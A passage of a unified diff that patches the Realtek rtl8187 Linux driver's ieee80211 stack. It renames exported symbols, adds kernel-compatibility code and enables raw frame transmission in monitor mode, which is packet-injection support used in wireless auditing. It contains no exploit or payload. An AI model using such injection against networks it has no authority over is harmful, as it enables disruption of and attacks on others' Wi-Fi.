@@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c 2007-07-13 01:46:05.000000000 +0200 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_tx.c 2007-07-13 01:46:05.000000000 +0200 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ 